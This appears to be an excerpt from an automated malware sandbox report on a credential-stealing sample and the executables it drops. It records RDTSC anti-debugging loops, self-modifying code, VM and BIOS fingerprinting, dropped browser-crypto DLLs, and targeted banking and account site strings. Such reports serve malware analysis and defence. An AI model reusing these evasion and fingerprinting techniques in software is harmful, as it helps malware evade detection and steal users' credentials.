Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 114B764 second address: 114B76D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 114B76D second address: 114B771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 115DC94 second address: 115DC98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1193767 second address: 1193773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0A0CDBB9B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1193773 second address: 11937A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F0A0CDE9D25h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F0A0CDE9D1Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11937A0 second address: 11937E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0A0CDBB9C6h 0x00000009 popad 0x0000000a push edx 0x0000000b jns 00007F0A0CDBB9B6h 0x00000011 pop edx 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 jmp 00007F0A0CDBB9BFh 0x0000001b jmp 00007F0A0CDBB9C1h 0x00000020 pop edx 0x00000021 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11937E8 second address: 1193808 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0A0CDE9D29h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1193C30 second address: 1193C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1193C3A second address: 1193C54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0A0CDE9D25h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1193C54 second address: 1193C5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F0A0CDBB9B6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1193EC7 second address: 1193ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1193ECB second address: 1193ECF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1196FE6 second address: 1196FEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11972E4 second address: 11972EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1197C19 second address: 1197C22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1197F27 second address: 1197F5B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0A0CDBB9B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F0A0CDBB9B8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 push eax 0x00000028 pushad 0x00000029 push edi 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1199F10 second address: 1199F14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 119A925 second address: 119A929 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 119A929 second address: 119A932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 119A932 second address: 119A994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0A0CDBB9BEh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c jg 00007F0A0CDBB9C2h 0x00000012 nop 0x00000013 mov dword ptr [ebp+122D303Bh], ebx 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F0A0CDBB9B8h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 0000001Ah 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 push 00000000h 0x00000037 movzx edi, si 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d je 00007F0A0CDBB9B8h 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 119A994 second address: 119A99A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 119A99A second address: 119A99E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 119D4B2 second address: 119D4B7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 119F44F second address: 119F459 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0A0CDBB9B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11A135F second address: 11A1363 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11A1363 second address: 11A1369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1158CDB second address: 1158CE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1158CE1 second address: 1158CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11A38FE second address: 11A3902 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11A48CF second address: 11A48FF instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0A0CDBB9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b nop 0x0000000c cld 0x0000000d push 00000000h 0x0000000f sub edi, dword ptr [ebp+122D3789h] 0x00000015 push 00000000h 0x00000017 mov ebx, dword ptr [ebp+122D3899h] 0x0000001d jmp 00007F0A0CDBB9BDh 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11A48FF second address: 11A4904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11A892F second address: 11A8935 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11A987C second address: 11A9882 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11A9882 second address: 11A988F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11AD9D2 second address: 11AD9D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11AE7AA second address: 11AE7FA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jbe 00007F0A0CDBB9B6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edi, eax 0x0000000f push 00000000h 0x00000011 mov edi, esi 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F0A0CDBB9B8h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 00000018h 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f sub dword ptr [ebp+122D2BECh], ecx 0x00000035 movsx edi, bx 0x00000038 js 00007F0A0CDBB9BCh 0x0000003e push eax 0x0000003f push ebx 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11B07DB second address: 11B0882 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDE9D21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F0A0CDE9D18h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D27DEh], ecx 0x0000002b mov bx, si 0x0000002e call 00007F0A0CDE9D1Bh 0x00000033 mov dword ptr [ebp+122D296Ah], eax 0x00000039 pop edi 0x0000003a push 00000000h 0x0000003c sbb di, D47Ch 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push ebp 0x00000046 call 00007F0A0CDE9D18h 0x0000004b pop ebp 0x0000004c mov dword ptr [esp+04h], ebp 0x00000050 add dword ptr [esp+04h], 0000001Ah 0x00000058 inc ebp 0x00000059 push ebp 0x0000005a ret 0x0000005b pop ebp 0x0000005c ret 0x0000005d mov bx, cx 0x00000060 mov di, 587Eh 0x00000064 xchg eax, esi 0x00000065 jmp 00007F0A0CDE9D26h 0x0000006a push eax 0x0000006b pushad 0x0000006c push eax 0x0000006d push edx 0x0000006e je 00007F0A0CDE9D16h 0x00000074 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11B38C8 second address: 11B38E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDBB9C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 119BD7A second address: 119BD84 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0A0CDE9D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 119D235 second address: 119D239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 119D239 second address: 119D23D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 119D23D second address: 119D243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 119D243 second address: 119D262 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F0A0CDE9D24h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11A15B6 second address: 11A15D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0A0CDBB9C1h 0x00000014 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DEFD13 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DEFDC7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FA7F0B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FA8373 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FA6D31 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 102FFC1 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Special instruction interceptor: First address: FEEC36 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Special instruction interceptor: First address: 118D41B instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Special instruction interceptor: First address: 11B3955 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Special instruction interceptor: First address: FEEB6E instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Special instruction interceptor: First address: 1210380 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D0EC36 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: EAD41B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: ED3955 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D0EB6E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F30380 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Special instruction interceptor: First address: 349478 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Special instruction interceptor: First address: 36BB77 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Special instruction interceptor: First address: 3D647A instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsJKEHIIJJEC.exe

Code function: 22_2_04D00A73 rdtsc

22_2_04D00A73

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 6472	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6224	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5004	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2940	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4784	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6324	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9184	Thread sleep count: 66 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9184	Thread sleep time: -1980000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9184	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe TID: 7352	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsJKEHIIJJEC.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CACC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CACC930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2721503548.0000000000F81000.00000040.00000001.01000000.00000003.sdmp, DocumentsJKEHIIJJEC.exe, 00000016.00000000.2707618947.000000000116E000.00000080.00000001.01000000.0000000B.sdmp, DocumentsJKEHIIJJEC.exe, 00000016.00000002.2804276895.000000000116E000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000017.00000002.2836418700.0000000000E8E000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000000.2783130999.0000000000E8E000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.3439720575.0000000000E8E000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000000.3290900027.0000000000E8E000.00000080.00000001.01000000.0000000E.sdmp, a929660733.exe, 0000001B.00000002.3436655753.0000000000324000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe.22.dr, DocumentsJKEHIIJJEC.exe.0.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: BKFBAECB.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000002.2722740091.0000000001843000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: BKFBAECB.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: BKFBAECB.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: BKFBAECB.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: BKFBAECB.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: BKFBAECB.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3441963811.000000000116C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3441963811.0000000001137000.00000004.00000020.00020000.00000000.sdmp, a929660733.exe, 0000001B.00000002.3438830084.0000000001338000.00000004.00000020.00020000.00000000.sdmp, a929660733.exe, 0000001B.00000002.3438830084.0000000001365000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BKFBAECB.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000002.2722740091.00000000017FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware6
Source: BKFBAECB.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: BKFBAECB.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: BKFBAECB.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: BKFBAECB.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: a929660733.exe, 0000001B.00000002.3438830084.0000000001365000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BKFBAECB.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: BKFBAECB.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: BKFBAECB.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: BKFBAECB.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: BKFBAECB.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: BKFBAECB.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: BKFBAECB.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: BKFBAECB.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: BKFBAECB.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: BKFBAECB.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: BKFBAECB.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: BKFBAECB.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2722740091.00000000017FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: BKFBAECB.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: BKFBAECB.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: BKFBAECB.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: BKFBAECB.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: BKFBAECB.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: BKFBAECB.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
